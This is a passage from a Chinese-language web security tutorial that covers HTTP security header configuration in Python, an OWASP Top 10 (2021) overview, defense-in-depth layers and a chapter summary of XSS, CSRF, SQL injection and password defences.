        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data:; "
        "font-src 'self'; "
        "frame-ancestors 'none'; "
        "base-uri 'self'; "
        "form-action 'self'"
    )

    # 3. 禁止 MIME 嗅探
    response.headers["X-Content-Type-Options"] = "nosniff"

    # 4. 禁止嵌入 iframe
    response.headers["X-Frame-Options"] = "DENY"

    # 5. 启用 XSS 过滤器(旧浏览器兼容)
    response.headers["X-XSS-Protection"] = "0"  # 现代浏览器使用 CSP

    # 6. Referrer Policy:控制 Referer 头
    response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"

    # 7. Permissions Policy:限制浏览器功能
    response.headers["Permissions-Policy"] = (
        "camera=(), microphone=(), geolocation=(), payment=()"
    )

    return response

Headers 详解:

Header防御的攻击说明
Strict-Transport-Securitymax-age=31536000; includeSubDomainsSSL 降级、中间人浏览器在 1 年内只对该域名使用 HTTPS
Content-Security-Policydefault-src 'self'XSS、数据注入只允许加载同源资源
X-Content-Type-OptionsnosniffMIME 混淆禁止浏览器猜测内容类型
X-Frame-OptionsDENY / SAMEORIGIN点击劫持禁止 / 限制 iframe 嵌入
Referrer-Policystrict-origin-when-cross-origin信息泄露控制 Referer 头泄露的信息量
Permissions-Policycamera=(), microphone=()权限滥用限制页面可使用的浏览器 API

6.2 OWASP Top 10 简介

OWASP(Open Web Application Security Project)Top 10 是 Web 应用最常见的十大安全风险。

OWASP Top 10 (2021):
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  A01:2021 失效访问控制                                       │
│  → 用户可以访问未授权的资源或功能                             │
│  → 本章覆盖:认证授权章节                                     │
│                                                             │
│  A02:2021 加密机制失效                                       │
│  → 敏感数据未加密或使用了弱加密                               │
│  → 本章覆盖:密码安全(bcrypt)、HTTPS                        │
│                                                             │
│  A03:2021 注入                                               │
│  → SQL、NoSQL、OS、LDAP 注入                                │
│  → 本章覆盖:SQL 注入防御                                    │
│                                                             │
│  A04:2021 不安全设计                                         │
│  → 系统设计阶段缺少安全控制                                   │
│  → 本章覆盖:安全审计清单                                    │
│                                                             │
│  A05:2021 安全配置错误                                       │
│  → 默认密码、开启调试模式、未设置安全 Headers                │
│  → 本章覆盖:安全 Headers 配置                               │
│                                                             │
│  A06:2021 脆弱和过时组件                                     │
│  → 使用有已知漏洞的依赖包                                     │
│  → 实践:定期更新依赖,关注安全公告                           │
│                                                             │
│  A07:2021 认证与识别失效                                     │
│  → 弱密码、暴力破解、会话固定                                 │
│  → 本章覆盖:密码安全、SameSite Cookie                       │
│                                                             │
│  A08:2021 软件与数据完整性失败                                │
│  → 不安全的反序列化、CI/CD 管道                               │
│  → 本章覆盖:输入验证、反序列化风险                           │
│                                                             │
│  A09:2021 安全日志与监控失败                                  │
│  → 缺少日志、日志被篡改、无告警                               │
│  → 本章覆盖:敏感数据过滤、日志安全                          │
│                                                             │
│  A10:2021 服务端请求伪造 (SSRF)                              │
│  → 服务器被诱导访问内网资源                                   │
│  → 本章覆盖:输入验证、URL 白名单                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘

6.3 知识关联图

Web 安全知识关联图:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│                   ┌───────────────────┐                     │
│                   │   用户输入         │                     │
│                   │   (所有来源)       │                     │
│                   └─────────┬─────────┘                     │
│                             │                               │
│              ┌──────────────┼──────────────┐                │
│              │              │              │                │
│              ▼              ▼              ▼                │
│     ┌──────────────┐ ┌──────────────┐ ┌──────────────┐     │
│     │  XSS 防御     │ │  SQL 注入    │ │  CSRF 防御   │     │
│     │  自动转义     │ │  参数化查询   │ │  Token 验证  │     │
│     │  CSP 策略     │ │  ORM 使用    │ │  SameSite    │     │
│     └──────┬───────┘ └──────┬───────┘ └──────┬───────┘     │
│            │                │                │              │
│            └────────────────┼────────────────┘              │
│                             │                               │
│                             ▼                               │
│                  ┌────────────────────┐                     │
│                  │   安全中间件        │                     │
│                  │   Headers 设置      │                     │
│                  │   错误处理          │                     │
│                  │   日志过滤          │                     │
│                  └─────────┬──────────┘                     │
│                            │                                │
│                            ▼                                │
│                  ┌────────────────────┐                     │
│                  │   纵深防御          │                     │
│                  │   最小权限          │                     │
│                  │   默认安全          │                     │
│                  └────────────────────┘                     │
│                                                             │
└─────────────────────────────────────────────────────────────┘

6.4 纵深防御(Defense in Depth)

安全不依赖单一措施,而是多层防御

纵深防御层次:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  第 1 层:输入验证                                           │
│  → 所有输入必须验证类型、长度、格式                           │
│  → 白名单优于黑名单                                          │
│                                                             │
│  第 2 层:输出编码                                           │
│  → 输出到 HTML 时转义                                       │
│  → 输出到 SQL 时参数化                                      │
│                                                             │
│  第 3 层:认证与授权                                         │
│  → 强密码策略(bcrypt)                                     │
│  → 最小权限原则                                             │
│                                                             │
│  第 4 层:安全 Headers                                       │
│  → CSP、HSTS、X-Frame-Options                              │
│                                                             │
│  第 5 层:监控与响应                                         │
│  → 异常日志监控                                             │
│  → 自动告警                                                 │
│                                                             │
│  即使某一层被突破,其他层仍然提供保护                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

本章小结

┌─────────────────────────────────────────────────────────────┐
│                    Web 安全专题 知识要点                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│   L1 理解层:                                                │
│   ✓ XSS:恶意脚本注入,分存储型/反射型/DOM 型                 │
│   ✓ CSRF:利用已认证状态伪造请求                              │
│   ✓ SQL 注入:用户输入篡改 SQL 逻辑                           │
│   ✓ 密码安全:用 bcrypt,不用 MD5/明文                       │
│   ✓ 文件上传:验证扩展名、清理文件名、检查路径                 │
│                                                             │
│   L2 实践层:                                                │
│   ✓ XSS 防御:模板自动转义 + CSP                            │
│   ✓ CSRF 防御:CSRF Token + SameSite Cookie                 │
│   ✓ SQL 注入防御:参数化查询 + ORM                           │
│   ✓ 密码:bcrypt.hashpw() + checkpw()                      │
│   ✓ 文件:secure_filename() + UUID 重命名                   │
│   ✓ CORS:明确指定 origins,不用 ["*"]                      │
│   ✓ 错误处理:生产环境返回通用错误                           │
│                                                             │
│   L3 专家层:                                                │
│   ✓ HTTP 安全 Headers:HSTS/CSP/X-Frame-Options/nosniff     │
│   ✓ OWASP Top 10:10 类最常见 Web 安全风险                   │
│   ✓ 纵深防御:输入验证 → 输出编码 → 认证 → Headers → 监控   │
│   ✓ 最小权限原则:每个组件只拥有必要的权限                    │
│   ✓ 默认安全:所有配置默认最严格,按需放宽                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘